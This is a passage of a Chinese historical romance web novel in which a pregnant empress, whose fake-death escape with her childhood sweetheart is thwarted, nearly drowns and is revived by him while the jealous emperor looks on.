他直接抱住泠川,她嫌弃地把他往外推了一推。 “你的头发都把我的肩膀弄湿了,快去洗澡吧,别磨蹭了。” 顾时还是死死抱着她不放,她认命似的叹了口气。 “好吧,我陪你。” 虽说是要和泠川一起洗澡,可顾时也不肯真的裸身对着她,只背对着她慢慢褪下了衣衫,走进了浴池。 泠川只褪去了外衣,直接把一瓢水浇在了他的头上。 “至少帮我擦一擦后背吧。” 泠川拿过一块不知道是什么做的布料,沾湿了,细细地擦在他的后背上。 顾时的后背很宽,肌肉线条非常明显,泠川知道他能拉开磅数很大的弓。 按理来说,他应该力气挺大,只是他平常和泠川在一起时总收着力,她根本不怕他,潜意识里总觉得他的力量对她没一丁点威胁…… “你真的以后都只爱我一个吗?” 顾时冷不丁地发问。 泠川的手猛地抖了一下,她不记得自己做过这样的承诺呀。 顾时没等来自己想要的回答,失落地低下头去。 他因泠川与秦思昭一事而夜不能寐,茶饭不思,不仅是因为泠川背叛欺瞒了他,也是因为他感到自惭形秽。 顾时自嘲地笑了起来,九五之尊因一个草民而感到自卑,恐怕说出来都没有人信,但事实就是这样不讲道理。 那个让他恨得咬牙切齿的男人,能为了自己幼时的未婚妻而考上状元,还能冒着杀头的风险,当着众人的面求他赐婚。 他几乎都要被这种爱情打动到落下泪来*,当然,前提得是他深深爱着的那个女人不是他的妻子! 虽然他不想承认,但是和秦思昭的付出相比,他觉得自己对泠川的感情拿不出手。 唯一他能给,而秦思昭给不了的只有大量的财富和奢侈的生活,可这无非也只是一些外在条件,完全没法证明他能比秦思昭对泠川更好。 他确实感到了一种自卑,他觉得如果他稍微松一松手,她就会头也不回的跟着他走。 连一个姬妾都敢当面骂他的手段下作,可他却只能用最卑鄙的方式强行留住泠川,别无他法。 如果她愿意高看他一眼,他就愿意拿出任何东西来讨好她,包括皇位。 “泠川,你想不想要跟我一起上朝?” “不要。” 她斩钉截铁地拒绝了他。 “洗干净了就早点出来,别一天到晚地说些有的没的,我不耐烦听。” 她直接转身走了出去,外面的雨还是那么大。 她随手拽着一个小宫女问: “这雨还要下多久?” “啊……娘娘……奴婢不知道呀……这个季节的雨没什么规律的。” 她被泠川猛地吓了一跳。 一个宫女浑身湿漉漉地走了进来。 “参见娘娘,奴婢是来禀报娘娘吩咐的事的。” “嗯,说吧,快些说。” 她心不在焉地等着小宫女宣布一个她早就知道的噩耗。 “雨实在是太大,路面上全是积水和泥泞,马根本不肯出去,得等天气转好才能派人去追,还请娘娘稍安勿躁。” 宫女深深地行了一礼。 “这样的天气,也不好让你白跑一趟,给她拿五两银子回去吧。” 泠川被裙摆猛地绊了一跤,赶紧扶着一旁的柱子,才勉强站稳。 她看着外面厚厚的云层,心想她和秦思昭,是注定要错过了。 她装出一副不耐烦的样子,故意打了个哈欠,掩饰早已噙在眼中的泪水。 心如刀绞,却无人能诉说。 她想她的娘亲了。 第58章 她心不在焉地躺到床上去,闭上眼,封闭住自己全部的感官。 只要挺过去这几天,就没事了。 她把手放到自己的胸膛上,安抚着自己。 她当然知道事情还有转机,她还有一点微薄的可能性拿回假死药,按时赴约,可就是这一点渺茫的可能性在折磨着她。 等待的时间总是最痛苦的。 如果有一根绳子,只要动手拉一下,她就能跳过这漫长的五天,直接得到一个具体的判决,她会拼命地拉扯这根绳子,直到绳子嘎嘣一下断掉为止。 “泠川。” 顾时直接爬上她的床,打断了她的忧思。 泠川把他往下推了推,想让他远离她的床。 “大白天的,你别躺在床上,太怠惰了。” “你不也躺着呢吗?” 顾时摸了摸她的额发,挑出来一根银丝。 “泠川,你怎么生白发了?” 她不耐烦地打掉了他的手。 “我躺着是因为我怀孕了,难道你也怀了么?” 至于那根白发,当然不是为了顾时而生的。 顾时似乎是想起了什么似的,下了床,去抽屉里拿出了一沓布料,直接摊开在了泠川的床上。 她才看清楚那是不同颜色的小衣服和肚兜,看起来是给刚出生的小孩子穿的。 “我已经命人准备好了小孩子的东西了。” 他偷偷地看着她,似乎是想说些什么,又说不出口。 泠川皱着眉问道: “怎么?你很期待吗?” 泠川只瞥了一眼那花里胡哨,五颜六色的小衣服,她总觉得这些宫中的吉利样式有些瘆得慌。 “毕竟是我的孩子,期待一下又怎么了。” 他小声说着,拿眼角瞥了泠川一眼。 “哦。” 泠川回答地颇为敷衍。 “泠川,你的娘亲应该很爱你吧。” 她点点头,斩钉截铁回答道: “当然。” 她从来没有怀疑过她的娘亲爱她。 “那你可以像你娘亲爱你一样,爱一下我们的孩子吗?” 泠川陷入了沉默,她不知道该怎么回答他。 她记得自己的爹娘感情很好,她娘亲的身体不易受孕,是去送子观音那里求了又求,才怀上了她这个女儿。 她是家中独女,父母对她爱若至宝,甚至早早就给她挑选了合适的夫婿。 可她发现自己根本做不到像娘亲爱她一样去爱顾时的孩子。 犹豫了半晌,她说道: “不一样。” “哪里不一样?” 顾时搂着她的脖子,强行贴近了她。 “我们也是夫妻,哪里不一样?” 他近乎绝望地追问。 泠川原本想告诉他,她完全是出于报复他,也报复自己的心理,才故意没喝避子汤,怀上了这个孩子。她就是想要伤他一千,自损八百。 她真想完完整整地告诉他,为了离开他,她是如何欺骗他,算计他,恶意满满地策划了假死出逃。 如果可以的话,她真想马上把这个腹中胎儿甩掉。 可是她最终一句话也没说,所有感受涌上心头,她最终只说出口了三个字。 “我累了。” 明明顾时的骨血已经融进了泠川的肚子里,他却觉得自己和泠川这样的疏远。 他伸手去抚摸她的面颊,她也一言不发,任由他把手放在她的脸上。 “泠川,你知道的,孩子生下来以后,你什么都不用操心。” 泠川皱着眉,伸手环住他的脖子,急切地问道: “我生下来之后,把这个孩子给你,你可以放我走吗?” 顾时直接愣住。 她的心跳声那样的响,泠川抱着他,几乎是把整个人的体重都压在了他的身上,他们胸口贴着胸口,心脏对着心脏。 她如此亲密地拥抱着他,却说出了这么残忍的话。 顾时觉得脖子一轻,泠川松开了他。 “罢了,你就当我什么都没说过好了。” 她一言不发地合上了眼。 顾时沉默了半晌,问: “你想要男孩子还是女孩子?” “随便,顺其自然。反正生下来是什么就是什么,也不能选。” 泠川冷冰冰地回答。 顾时很想质问泠川为什么对他忽冷忽热,明明就在前几天,她还柔情款款地对着他诉说她的爱意,可现在却对他弃之如敝履。 一百种不满涌上心头,最终他什么都没说。 他站起来,看了看窗外。 “泠川,雨还是没停。” “嗯。” 磅礴的大雨把她的心都浇得冷了。 顾时在房中踱步,很明显他坐立不安。 他去拿了笔墨纸砚铺在案上,提笔的仪态优雅,宛若白鹤。 他的字体温润秀劲,显然是下过很大的功夫。 “泠川,你看看,若是男孩,就叫顾頫,若是女孩,就叫顾婧,你说怎么样?” 泠川斜着眼瞟了一眼。 “你能不能起个我能看得懂的名字?这个字我根本不认识,黑漆漆一团。” 她指着那个頫字说道。 顾时叹了口气,说道: “頫是俯视的意思,你现在认识了吧。” “那你的名字是什么意思?” 顾时低下头去,他不太愿意提及自己名字的寓意。 “大概有隐晦的贬义。” “我没有学问,看不出来,我只能联想到……这个孩子来得真是时候。” 泠川打了个哈欠。 顾时皱着眉头说道: “那便是一种贬义了。” 顾时知道他的父亲一直怀疑他的血统,他不仅外表生得高大,身体也确实没有任何隐疾。就连视力都比绝大多数的人要好。 他应该不是皇室的血脉,他幼年时还常常因此自卑,但现在他只觉得庆幸他娘给他挑了一具健全的好身体。 泠川不想看见顾时,可这雨越下越大,直接把他堵在了她的屋里。 “我们来干点什么打发时间的事吧……” 她想做点事,这样就能短暂地从郁闷里解脱出来。 “你不是说了不能行房吗。” “呸,我说要打发时间,你就只能联想到那种事情吗?真下流。有没有点别的打发时间的事能做?” “那你来帮我处理公务好了。” 泠川连忙摆手: “不行不行,我一看到大字儿就眼晕,没几下子便困了。你自己的活自己干,我才不给你打白工呢。” “那我教你下棋吧。” 顾时把棋盘找了出来。 泠川兴冲冲地说道: “这个我会,五个棋子连成一根线便赢了,我小时候还玩过呢。” 顾时意味深长地看了她一眼。 “你小时候是同谁一起玩的?” 泠川的话一下子梗在了喉咙里,变了脸色,再也笑不出来。 她小时候确实是和秦思昭一起下的五子棋,互有胜负,她现在想想,恐怕他是不留痕迹地给她放了水,毕竟他长了一个能考上状元的聪明脑瓜。 她没想到秦思昭会为了童年时从早到晚玩在一起的情谊付出这么多,他竟然不惜豁出自己的性命也要带她回家。 可她呢?她现在又能为他做什么。 她疏忽大意,连那枚假死药都弄丢了…… 他会对她失望,恐怕也在情理之中吧。 到时候泠川爽约,秦思昭肯定会觉得她是为了顾时放弃了他。 他马上就会记恨她了,毕竟谁会喜欢一个对别人的一腔好意无动于衷,不知好歹的女人。 顾时见泠川的脸色惨白,冷笑一声: “哼,想必是和秦思昭每天从早玩到晚吧。怎么从没听你跟我说过,你在老家还有个小情郎夜夜缱绻呢。” 顾时的醋意越来越盛。 “你实话实说,你们到底做到过哪一步?亲过抱过没有?” 泠川没心情应付他怪异的醋意,索性实话实说了。 “拉倒吧,十三四岁的小皮孩子能干点啥?他比我还小一岁呢,那个时候他比我矮上半头。还缱绻,真是想多了……我俩天天去偷鸡摸狗还差不多……我爬树偷石榴,他在下面给我望风。” “十三四岁可不小了……这个年纪的男孩其实什么都懂。” 顾时抿着嘴,愤愤地看着她。 “怎么,难道你十三四岁就什么都玩过了?” 泠川实在是不耐烦哄他,索性羞辱了他几句。 “你又污蔑我,你明明知道我一向洁身自好。” “就是两个小皮孩子上蹿下跳的那点子事,瞧给你急得。” 泠川不耐烦地把脸撇到一边去。 “你到底要不要下棋?” “下,必须下,凭什么不下?” 顾时心烦意乱,上来便是围棋的起手式。 泠川跟他过了几招,发现不太对劲。 “你这是围棋的下法吧……我根本不会下围棋呀。” 顾时索性把所有棋子都扒到一旁,重新又和泠川下起了幼稚的五子棋。 两个人有来有往,一边斗嘴一边下棋,玩到了晚上,雨也不见停。 “若是到明天雨也不停,那你还能去上朝吗?” “只能暂停一次了,上了年纪的大臣腿脚不好,雨大地滑,恐怕要摔跟头的。” 顾时看着屋外的大雨说道。 “这样的天气什么都做不成。” 听到这句话,泠川惆怅地低下了头。 对不起……是她辜负了他……可那是因为天公不作美,实在不是因为她狼心狗肺,不识好歹…… 她在内心一遍一遍地给秦思昭道歉,可惜他此生再也不能听到了。 他们会天各一方地活着,变成再也没有交集的两个人,可这并非她心中所愿。 第59章 也许这样也没什么不好,至少秦思昭性命无虞。 泠川只能这样安慰着自己。 二人用过了晚膳,阴天本就容易犯困,顾时依偎着她睡了。 次日清晨,外面还是下着连绵不绝的大雨。 这场雨把泠川和顾时两个人牢牢锁在了一间屋子里,一张床上。 正如同这古怪离奇的命运一般。 泠川把自己的手搭在了顾时的脸上,仔细地端详着他。 他没什么不好看的地方,清晰的下颌线,整洁的眉毛和高挺的鼻梁,宽大的骨架,完全符合绝大多数人对男性的审美。 就连外在条件也相当优秀到绝无仅有的地步,也不能怪旁人总是艳羡她命好。 毕竟除了她之外,还有谁能知道他的内在简直就是一团糟的绒线球…… 她究竟为什么会成为他的妻子呢? “顾时,如果那日你没来我家做客,我们现在会在做什么?” 泠川坐在一面铜镜前,看着自己的脖子,昨夜,他在她的脖子上留下了一些鸟啄过似的红斑。 “为什么要考虑那种没发生的事?” 泠川的问题让顾时觉得心中不悦。 这个问题无疑是在暗示着他们原本就不应该在一起,泠川会和秦思昭结婚,而他也不知道会娶谁…… 即便泠川只有万分之一的概率会成为他的妻子,但他们之间就是顺理成章地成亲了,这万分之一的概率也变成了百分之百。 哪有那么多的本不应该,她就是他的妻,绝无任何动摇的可能。 “如果从没有遇见过你,我会过得更开心。” 泠川用平淡的语气说出了这句话。 “我也一样。” 顾时沉默了半晌后回答。 泠川把母亲送给她的簪刀斜斜地插在了鬓角上,这把做工粗砺的银簪,和她身上波光粼粼的锦绣形成了一种奇妙的反差。 大雨还是下着,像是故意不想让她和顾时分开。 她问顾时: “这个季节下大雨也很平常吧。” 所以不是老天爷非得要她和顾时在一起对吗…… “嗯,很平常。这个季节就是会下大雨的。” 顾时完全没把泠川的这句话放在心上,只当是她在同他拉家常,他看着她鬓边垂下的一缕长发。 “看这个架势,也许要下到明天早晨呢。” “今天晚上应该就停了!总不可能连着下三天的大雨。” 泠川狠狠地瞪了他一眼,声音也有些急促。顾时心里觉得有些怪异,无非只是在百无聊赖地谈论天气,她为何要这样看他。 泠川似乎在赌气似的,没理他。 罢了,她喜怒无常也不是一天两天的事,顾时站在她身后,把双手搭在她的肩膀上。 “你现在想什么呢?” “等雨停。” 她斩钉截铁地说道。 “你有什么急事,是非要等雨停了才能做的?” 泠川仰起头看着他。 “若是雨不停,什么事都做不成。” 他笑了笑,说道。 “雨迟早会停的,着什么急。” 她默默不语,有些人一旦错过,就再也没有第二次的机会了。 她怨恨地看着顾时,心想他永远也理解不了这种感受。 他出生的那张床给了他权力,他大可以做什么都由着性子来,毕竟他总是能有第二次机会。 她根本就不想再给他一次机会,可是她没办法,他单靠权力就能让她无处可逃。 是秦思昭给了她唯一的救命稻草,在她最困难的时候,是他给了她活下去的动力,可是这场倒霉的大雨,生生扼杀了她心中渺茫微薄的希望。 泠川咬紧了牙关。 等来等去,泠川终于等到雨停了,可却已经过了足足两天。 这两天里,她几乎已经自暴自弃地放弃了一切希望,痛苦太甚,已经转化成了麻木。 离她和秦思昭约定的日子只剩下两天了…… 就算她无法如约而至,他的这份恩情,她永远记在心里。 “泠川,我该去上朝了。” 顾时推开窗户,仰头,看到整洁如洗的蓝天。 “今天天气可真好。” 他笑道,转头又去看泠川。 不知为何,她还是一副闷闷不乐的样子。 “泠川,你不是一直都盼着雨停吗?雨终于停了。” 他走到了她的身旁,她的头发杂乱,面色蜡黄,低头不语,眼睛里噙着若隐若现的泪光。 他伸手去抚摸她的面颊,问: “雨已经停了,你怎么还是不高兴呢?” 他命人打了一盆温水来,蘸湿了帕子,亲手为她擦拭面颊。 泠川随便找了个借口,说道: “女人怀孕就是这样的……会情绪不好。” 她心情低落,只任由他慢慢地擦拭她的脸颊。 “不是有我照顾你吗?还有什么可不开心的?” 顾时温情脉脉地搂着她,让她的头靠在他的胸膛上。 “别浪费时间了,赶紧去上朝吧。” 她的头闷在他的胸口,声音也变得瓮声瓮气。 “好,听你的。” 顾时亲吻了一下她的额头。 他刚走,泠川就忙不迭地亲自奔向了太医院。 她匆忙地推开了门,急匆匆问道: “我的药呢!找回来了没有!” 太医直接给泠川下跪,唯唯诺诺说道: “娘娘,已经派人去追了……就是还得过几天才能回来……” 泠川的心早已凉了半截,只哆哆嗦嗦地点了点头。 她来的时候是急匆匆地来,而到了要回去的时候,又双腿发软,只能颤颤巍巍地回去。 前面是一道桥,曲折成三段,将碧绿的水面分割来开,荷花已经长出了亭亭的花骨朵。 她记得顾时说过,这种桥是特意设计过的,走上去便能移步换景,每走一步,周围的风景都会变得不一样。 泠川迈开瘫软的腿走了上去,一阵小风吹来,她的背后感到丝丝的凉意,周围的景色如同万花筒一般,不断变化着,一会儿放大,一会儿缩小。 她抬起头,睁大了眼,想仔细看看这园林的景色,眼前却只剩下一片昏暗,这片昏暗就如同无源之水,无本之木,瞬间将她吞噬。 她直直地向后栽倒,失去了意识,神志彻底与肉|体脱钩。 湖水从背后紧紧抱住了她,扑通一声,水肆意地灌入了她的口鼻。 裕鸾殿的骨架宽阔,舒展大气地坐落在中轴线上。华幔垂在房梁上,显得美丽而又端庄,屋顶上贴满了金箔,光芒倾泻而下,香炉,象牙,红珊瑚在闪烁的光芒里显得辉煌。 文武百官兢兢业业地跪了满地,现在正是上朝的时候。 宫殿后面,两个小宫女却涨红了脸,十分局促,互相推诿着一桩苦差事。 “你是琮翠殿的,你去告诉陛下娘娘落水一事……” “不,你去!你在太医院当差,是你没陪着娘娘回宫才导致娘娘落水的!跟我有什么关系,我不过是今日在琮翠殿当差!而且,是娘娘自己说不要我们陪着的。” “你去!” “你去!” 两个小宫女吵着吵着,气不过竟动起了手,先是伸手去推搡,之后又抬起手去拧对方的脸蛋子,脸上挨了几下,狠劲儿上来,又用力去扯对方的头发。 “肃静!不知这是什么地方么?也轮得到你们胡闹!” 芍药姑姑背着手,皱着眉头走了过来,她额头和鼻梁上的皱纹都拧在了一起。 啪啪两声,两个宫女一人挨了一个耳光。 一挨揍,小宫女的眼泪便掉了下来,两个女孩直直跪在了芍药姑姑面前。 “求姑姑救命!娘娘落水,如今正在太医院里抢救呢!” 芍药的脸色瞬间变了。 “什么?娘娘落水了!” 她急匆匆地便冲到了大殿上,文武百官都对这个不速之客感到惊诧。 她扑通一声大跪在殿上。 “娘娘落水了!奴婢罪该万死!” 她顾不得什么规矩礼数,人命就是天大的事……更别说那是泠川的命! 宫中人尽皆知,泠川是陛下唯一的挚爱,更别说她现在腹中还怀着陛下的孩子,实在是耽误不起。 “什么!是谁要害她!” 顾时的脸色瞬间变得惨白,匆匆就要下朝。 “臣精通医术!如今情况紧急,请陛下给臣一个尽忠的机会!” 秦思昭三步并作两步,抢在顾时退朝之前,跪在了他的面前。 他的动作太快,头发撞散了,一缕鬓发落在面颊旁,看起来有些狼狈。 “也对……也顾不得那么多了……” 顾时咬着下唇,伸手把秦思昭从地上扯起来。 “知道情况紧急,还不快去!” 众臣开始在后面小声嘀咕起来。 “这秦思昭上赶着溜须拍马,真是爱表现自己。” “可不是吗……风险这么大的活儿也敢接,真是为了出头不要命。” “毕竟他年轻人不知轻重,爱出风头也是常事。只是嘛,年轻人为了出头失了些分寸。” 一个老人捋着胡须说道。 秦思昭完全没心思顾及旁人在背后会如何说他,此时此刻,他心中只有陶金荣的安危。 她躺着榻上,浑身湿透,还在昏迷之中。 “还请陛下回避一下。” 顾时只把闲杂人等都轰了出去,两只眼睛睁得很大,死死地盯着昏迷不醒的泠川。 秦思昭伸手去解她湿透的衣襟,皱起眉头,只俯身下去…… 第60章 顾时死死咬住下唇,血腥味弥漫了口腔,他瞪大了眼睛。 秦思昭他到底要对泠川做什么! 他旁若无人地解开了她的衣襟,一片惨白如浮尸的皮肤就暴露在空气中,他将双手覆在她胸前,用力且有规律地按压她的胸腔。 秦思昭的袖子早已利索地高高挽起,神态颇为专注,眼中毫无半分邪念。 突然他俯下身去,本就乱了的发髻瞬间披散下来,遮住了他与泠川越贴越近的面颊,顾时忍不住地开始胡思乱想……他到底要对他的妻子干什么? 他忽然瞪大了双眼,他们竟然在接吻! 秦思昭竟然捏着泠川的下巴,迫使她张开双唇,当着他的面和泠川接吻! “咳……咳……” 一吻之后,泠川竟然重新恢复了呼吸,惨白发紫的面容变得堪堪有了一些血色。 泠川还活着!失而复得的喜悦快速地涌上顾时心头,刚才那一幕的冲击力却丝毫没有减弱。 “秦思昭!你在对我的妻子干什么!” 他直接揪住了他的领子,涨红了双眼质问道。 “请陛下不要误会,对于溺水的人来说,这是标准的施救流程,医者仁心,病人在医者眼中没有男女之分。” “咳咳……” 听到泠川在床上痛苦的咳嗽声,顾时赶紧冲到她的床前。 “泠川,你没事吧!” 顾时现在只想紧紧地抱住泠川,却被秦思昭伸手拦了下来。 他只冷冷地瞥了顾时一眼,眼神中有责怪之意。 顾时在心中冷笑,他相信他是真心想救泠川的命,施救过程中他不会起什么别的心思,毕竟他觊觎他的妻子也不在这一时! “请您不要干扰我的治疗,现在情况还很危险,您不要轻易碰她。” 泠川迷迷糊糊地听到了秦思昭的声音,她朦朦胧胧地睁开了眼,神智尚不十分清楚。 他的面庞映入她的双眼,他刚刚长开了的清秀面容,以他眼角那颗小痣为锚点,与她记忆中那个幼小稚嫩的孩子一下重叠在了一起。 “阿昭?” 她想要把手放在他的脸颊上,确认一下他还在这里。 温热的触感从手上传来,她一偏头,直直对上了顾时情绪复杂的双眼。 泠川瞬间吓了一哆嗦,神智一下子清醒过来,讷讷地把手收了回来。 她现在不是陶金荣,是泠川,是顾时强求来的妻子,是皇帝强娶的皇后。 理智恢复后,记忆也重新出现在了她的脑海,她一下子全部想了起来。 她是因假死药失窃一事受刺激太大,才直直跌入水中,差点淹死。 如今她朝思夜想的秦思昭就站在她的眼前,她该如何向他开口解释? 她噙着泪花,无声啜泣着。 “泠川,你吓坏了吧。” 顾时伸出手去,想要握住泠川的手,好好安抚她,却被秦思昭抢了先。 他坐在她床边,直接把她的手放在他的大腿上,专心致志地给泠川把脉。 “目前胎像不稳,需要施针。有两种治疗方案,一种是优先让她恢复健康,孩子可能保不住,另一种是优先保孩子,泠川可能会神智受损。陛下选哪个?” “废话!我若不是想救泠川!我找你来干什么!早把你给杀了!” 顾时的情绪激动,恨不得现在就一刀把秦思昭给斩了。 秦思昭直接动手把泠川湿透的衣衫尽数脱掉,在她的后背上施针,对那状若癫狂的妒夫视而不见。 见他低头专心致志地施针,顾时才反应过来。他根本不是真心在问他的意见,而是在故意试探他,挑衅他,嘲讽他。 怒气越来越甚,可泠川现在还偏偏不能没了他,顾时只能一味地窝火,咬碎了牙往肚子里吞。 如果可以,他多希望自己才是全世界唯一能救泠川的人,可偏偏泠川的救星不是他,是另外一个男人。 他看见泠川无力地趴在床上,气若游丝地说道: “秦思昭……谢谢你救了我……” 听见泠川叫另外一个男人的名字,顾时实在是忍无可忍,跌跌撞撞地跪趴在她的床边,急匆匆地握住了泠川冰冷的手。 不知怎的,他不敢抬头看她,把头压了下去,两滴泪不着痕迹地掉了下来,直直没入地毯。 “泠川,是不是有人想要害你……把你从水边推下去了……” 他敏锐得可怕的直觉,正隐隐约约地在告诉他,泠川想要投水自尽。 她为了离开他,无所不用其极。 他不想接受这个事实,竭尽全力地在回避这种可能。 泠川想把手抽回来,又早已精疲力尽,只能任由他拉着。 她根本不想和顾时说话,索性合上了双眼。 顾时见她双眼一闭,瞬间吓得冷汗直流,一声哽咽锁在喉咙里,赶紧伸手去探她的鼻息。 “陛下,病人现在身体虚弱,需要休息,这些事等她情况稳定之后再说吧。” 秦思昭语气恭敬,直接用身子挡在了顾时和泠川之间。 “目前还有手上的几个穴位需要施针,能否请陛下先让一让呢,最好还是先回避一下,人多不利于病人恢复,而且,您的情绪实在是太激动了。” 顾时抿了抿干涩流血的嘴唇,低着头,像认输了一般走了出去。 秦思昭趴在她耳畔,对着泠川小声叮嘱道: “你现在身体虚弱,不能吃药性刺激的药,明白了吗?” 泠川瞬间心领意会秦思昭是在向她叮嘱假死药一事,多日积压的情绪一下子有了出口,没忍住一下子哭了出来。 她的眼泪就如同这连着三天的大雨,一下把她的面颊淹没。 “阿昭,我不小心把它弄丢了……” 他并没有露出什么惊异的神色,只是轻轻摸着她鬓边的头发,安抚着她。 “没关系,先养病吧……” 女医一直心情忐忑地长跪在门口,见顾时出来,连连磕头。 她的额头撞击在地面上,发出砰砰的响声。 “奴婢实在是无能为力,回天乏术,罪该万死!娘娘送来的时候已经没有呼吸了。” 她一边说着,一边开始抽自己的耳光,声音啪啪作响。 “刚才这么危险吗?” 顾时怔了一下,浑身打了个冷颤,皱着眉问道。 “奴婢回天乏力……无计可施……” 女医开始抽噎。 “起来吧,她已经恢复意识了,目前正在施针。” 她如同松了一口气一般,一下子瘫倒在地面上。 “甚好……如此甚好……那位大夫可真是妙手回春。” 女医颤颤巍巍地站起来,抹了抹脸上的泪水,她精通妇儿身上的疾病,但不通急救,几位男性太医尸位素餐久了,也都没什么急救经验,纷纷推诿。 片刻后,秦思昭走了出来。 “这位女医可懂得施针么?” 她点点头, “略通一些的。” 他用袖子擦了擦额头上的汗,顺手挽起散落的头发,说道: “我回头给你写几个穴位,是补是泄都备注好,你只需按时施针便是,我去药房抓些安胎的草药。” “秦大人,辛苦您了。” 她感激地看着秦思昭,他不光是救了泠川的命,也连带着救了她的命。 秦思昭对着顾时淡然说道: “陛下,娘娘虽然脱离了生命危险,但身体已经到了极限,能保住孩子已经非常勉强,坚决不能再同房了,至少也得等到一年后。” 顾时额角的青筋暴起,这个秦思昭以为他会自私自利到不顾泠川的身体么…… 可转念一想,他又换上了一副高高在上的样子,用炫耀的语气说道: “一年也实在是太久了吧……就算我能忍住,泠川也未必愿意呀。有时三日一次,有时隔日一次,最久也不过七日……” 他饶有兴致地品尝着秦思昭压抑下来的愤怒,毕竟他才是泠川唯一的丈夫,他就算再不服气,也只能忍着。 “还请陛下务必要为娘娘的身体考虑。” 秦思昭几乎没给他什么好脸色,甚至懒得假扮出恭敬的样子,语气生硬地说道。 “现在就由女医贴身伺候娘娘,需要给她擦干头发和身体,换上干净的衣服和被褥,切记不能惊扰到她,不能让她的情绪有起伏。” 他没忍住剜了顾时一眼。 “如今娘娘身体孱弱,整个孕期都需要草药来安胎,不敢假手于人,臣得每七日就为娘娘把脉才行。” 女医似乎感受到了这种剑拔弩张的氛围,缩了缩脖子。 现在到底是什么情况? 她隐隐约约地猜到了什么,但是不敢细想。 顾时挑衅一笑,点头说道: “甚*好,那你就先在太医院住下吧,事情若是能办好,重重有赏。” 秦思昭只冷笑一声。 “多谢陛下赏识。” 见秦思昭转身急匆匆地便去了药房,顾时抬脚便进泠川的房间,扭头对女医说道: “你来给我打下手,我要亲手照顾泠川。” 那个讨厌的秦思昭终于消失在了他的眼前,他终于能好好抱一抱亲一亲泠川。 他叫女医拿了一床干净的薄被,盖在了泠川身上,颇为轻柔地把她打横抱起,命令女医更换打湿了的床单。 女医打了一盆热水来,顾时抚摸着泠川的黑发,亲手帮她把头发洗净,又细心地为她擦干。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 他颇为仔细地擦着她的面颊,泠川似乎还处在神志不清的状态里,但呼吸已经变得安稳。 想到刚刚秦思昭与她接吻的那一幕,他心中的不满越来越甚,忍不住手上加大了力气,使劲擦了擦她的嘴唇。 她已经换了一身干净的单衣,顾时俯身趴在她胸前,听着她的心跳声。 他想不通泠川为什么能那样狠心地投水,留下他一个人活在这人世间。 好在她已经回来了,可却是她那上不得台面的情夫,伸出手把她从鬼门关里拽回了他的身边…… 泠川究竟是不想再活在这人世间,还是唯独不愿和他一起? 顾时不敢细想。 泠川那砰砰的心跳声传入他的耳朵,他的面颊接收到了这信号,这种震动极大地安抚了他,让他的情绪变得稳定下来。 至少她还活着……就算她在外面还有个姘夫又能怎样?只要她还活着一天,就只会有一个身份,那就是他的妻子。 他把自己腰带上挂着的玉佩摘了下来,放进泠川的手里,她的手像一个苍白的容器盛着这皎白的玉佩,没力气握住它。 他拿起一块布料,沾了沾温水,擦着她的脖子两侧 “阿昭……” 他的妻子在神志不清当中叫了她的姘夫的名字。 顾时觉得自己的心里扎进了一根鱼刺。 他即使知道自己现在不该这样做,依旧掐着她的下巴,有些狂躁地吻了她。 他满怀恶意地想着,在泠川心里,这个正在粗暴地与她接吻的男人究竟会是谁? 可是她没有一丁点反应,没有回应,没有呻吟,也没有抗拒。 他诚惶诚恐地松开了她,趴在她的耳畔说道: “泠川……泠川……跟我说句话吧……” 她依旧没有一丁点反应。 叫错名字这件事实在是太尴尬了,她不想跟顾时解释,索性一味的装死,这样他就会沉浸在失去她的恐慌里,没空去计较她和秦思昭的事了。 顺便还能报复一下他……反正她本来也是这么打算的,吃假死药,让顾时后悔一辈子,可没想到自己真的差点死了。 泠川索性一动不动,紧闭双眼。 何况她也是真的精疲力尽,虚弱至极,面色苍白,呼吸微弱。 顾时趴在她的耳畔,声嘶力竭地求她同他说话,震得她脑壳子嗡嗡响,真是吵得要死。 听到顾时若有若无的抽噎声,泠川却只觉得烦躁,不觉得痛快。 她原本以为自己听到他的哭声会觉得解气,可现在她只觉得又累又烦,听得闹心慌慌。 原来自己死了他就是这么个哭法,也没什么稀奇。 一个大老爷们哭来哭去真是惹人嫌,她一点都不想听。 “宫中的药材质量有点不尽如人意,陛下该严加管控了。” 听见秦思昭的声音,泠川一下没忍住睁开了眼睛。 秦思昭显然也顾不上什么体面,看起来有些疲惫,鬓角的头发被汗水打湿,粘在了他洁白如玉的皮肤上,他正端着一碗热气腾腾的汤药,有些急促地走了进来。 “把药给我。” 泠川小声说道。 终于听到泠川开口说话,顾时很有眼色地搂着她的肩膀,把她从床上扶了起来,她整个人使不上力气,只能软软地倒在他的怀里。 他将装满药的勺子放到了泠川的唇边,她皱了皱眉,嫌弃地看着那勺子。 “死不了,用不着人喂。” 喝完药还喂来喂去的,真是不耐烦。 秦思昭直接把碗递给她,她接了过来,一口气把那汤药全喝了。 “喝完药不能马上躺下。” 秦思昭说道,他拿了个垫子,示意泠川靠在上面,半躺半坐着歇息。 “病人需要休息,还请陛下冷静一些。” 顾时一下阴沉着脸色,咄咄逼人地质问道: “你救人的方法也未免太上不得台面,真的是为了救急么?还是说你在满足自己的私心?” 秦思昭只一笑,淡然道: “陛下不知,这宫中的太医和民间的不同,宫中太医太注重所谓体面,因此总会耽误最佳的治疗时机,阎王爷不会等人,多半急救不成。” “而民间救溺水之人的方法本就多种多样,都是一味地把人从鬼门关里往回拉,自然无法保全体面。例如把溺水之人的衣服脱掉,抬到牛背上,再徐徐牵牛,让人吐出腹中之水。” “往口中吹气并按压胸腔已经是相对而言最体面的救法,若是这个方法再救不回来,只能向心脏的方向针刺会|阴,施鬼门十三针,想必陛下更接受不了。” 顾时冷笑,说道: “也对,你对我的妻子有觊觎之心也不在这一时。” 秦思昭竟然没有否认,只说道: “若非如此,我何故搭上性命前程救她?” 泠川听到这句话,脑子嗡的一声炸开了,不可置信地看着他。 怎么都到了这个地步,秦思昭还不肯死心?顾时倒不会把她怎么样,可随时都能动手杀他,他就非要争一时意气,把自己置于险境么? “都老实点!不耐烦听你们两个扯皮!给老娘滚!” 为了避免秦思昭再说出什么惊天动地的话,泠川用最后一点力气把那个装药的空碗摔倒了地上,发出咔嚓的响声。 地上铺着毯子,这碗连碎都碎得不够彻底,只裂了一个缝。 秦思昭原本是最妥帖谨慎的人,跟顾时斗什么气……真是嫌自己命长。 “陛下,既然我们都想娘娘平安活着,便给彼此留个体面吧,臣暂时告退了。” 